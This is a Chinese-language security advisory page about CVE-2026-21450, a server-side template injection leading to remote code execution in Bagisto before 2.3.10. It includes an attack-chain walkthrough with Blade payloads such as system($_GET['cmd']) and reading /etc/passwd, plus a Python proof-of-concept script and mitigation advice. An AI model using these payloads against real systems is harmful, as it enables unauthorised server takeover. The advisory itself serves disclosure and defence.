IPBUF安全漏洞报告
English
CVE-2026-21450 CVSS 9.8 严重

CVE-2026-21450 Bagisto服务器端模板注入漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2026-21450
漏洞类型
服务器端模板注入(SSTI)/远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Bagisto开源Laravel电商平台

相关标签

CVE-2026-21450服务器端模板注入SSTI远程代码执行RCEBagistoLaravelBlade模板注入高危漏洞无需认证

漏洞概述

CVE-2026-21450是Bagisto电商平台中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。Bagisto是一个基于Laravel框架开发的开源电子商务平台,广泛应用于各类在线商城建设。该漏洞存在于2.3.10之前的版本中,根源在于应用程序对用户输入的type参数缺乏充分的过滤和验证。攻击者可利用此漏洞在服务器端注入恶意Blade模板代码,进而绕过安全限制执行任意PHP函数,最终实现远程代码执行(RCE)。由于攻击向量为网络层面且无需认证,攻击者可以在无需任何用户交互的情况下发起攻击,对系统机密性、完整性和可用性造成严重影响。此漏洞已被GitHub安全顾问GHSA-9hvg-qw5q-wqwp记录,官方已在2.3.10版本中完成修复。建议所有使用受影响版本的用户立即升级以消除安全风险。

技术细节

该漏洞属于经典的服务器端模板注入(SSTI)类型,攻击者通过操纵type参数向服务器注入恶意Blade模板语法。Bagisto使用Laravel Blade作为模板引擎,Blade引擎支持使用{{}}或{!! !!}语法来渲染变量内容。当应用程序直接将用户可控的type参数值传递给Blade模板进行渲染时,攻击者可以构造特殊的表达式来执行PHP代码。例如,攻击者可注入类似{!! php代码 !!}的payload,绕过模板引擎的输出过滤机制直接执行PHP函数。由于Laravel的Blade引擎在渲染前不会自动对输入进行安全转义,恶意代码将被服务器执行。攻击者通常利用system()、exec()、shell_exec()等函数执行操作系统命令,从而完全控制服务器。漏洞的利用前提是应用程序存在将用户输入直接传递给模板引擎的代码路径,且未实施输入过滤或使用安全的渲染方式。修复方案需要在数据进入模板引擎前进行严格的输入验证和过滤,或使用安全的模板渲染API避免直接传递用户输入。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的Bagisto版本,确认版本号低于2.3.10。通过检查robots.txt、页面源码或API响应中的版本标识获取版本信息。
STEP 2
步骤2: 漏洞探测
攻击者向包含type参数的端点(如产品列表API)发送测试请求,注入简单的SSTI测试payload(如{!! 1+1 !!}),观察响应判断是否存在模板注入漏洞。
STEP 3
步骤3: 构造恶意Payload
确认漏洞存在后,攻击者构造包含PHP代码的Blade模板payload,如{!! system($_GET['cmd']) !!},利用{!! !!}语法绕过输出转义直接执行PHP函数。
STEP 4
步骤4: 远程代码执行
通过在HTTP请求中添加cmd参数传递系统命令(如whoami、cat /etc/passwd等),服务器执行命令并将结果返回给攻击者,实现远程代码执行。
STEP 5
步骤5: 持久化控制
攻击者可能进一步植入Webshell、创建后门账户或下载恶意工具,建立持久化访问通道,以便长期控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-21450 PoC - Bagisto SSTI to RCE # Target: Bagisto versions < 2.3.10 target_url = "http://target.com" # SSTI payload to execute system commands via Blade template injection # This payload uses Blade's {!! !!} syntax to execute PHP code ssti_payload = "{!! phpinfo() !!}" # Alternative RCE payload rce_payload = "{!! system('id') !!}" # Step 1: Identify vulnerable endpoint with type parameter vulnerable_path = "/api/products" params = { "type": ssti_payload } print(f"[*] Sending SSTI payload to {target_url}{vulnerable_path}") print(f"[*] Payload: {ssti_payload}") try: response = requests.get( f"{target_url}{vulnerable_path}", params=params, timeout=10 ) if "PHP Version" in response.text or "system" in response.text: print("[+] Vulnerability confirmed! SSTI successful") print("[*] Server executed the injected PHP code") else: print("[-] No obvious SSTI response detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: Replace target_url with actual Bagisto instance URL # The vulnerable parameter 'type' is processed by Blade template engine # without proper sanitization, allowing PHP code execution

影响范围

Bagisto < 2.3.10

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)在前端或API网关层对包含{!! !!}、{{}}等模板语法的输入进行拦截和过滤;2)限制应用程序的网络访问权限,防止攻击成功后进一步渗透;3)启用详细的访问日志和异常监控,及时发现可疑攻击行为;4)考虑使用ModSecurity等WAF产品添加SSTI防护规则。但这些措施仅为临时解决方案,强烈建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表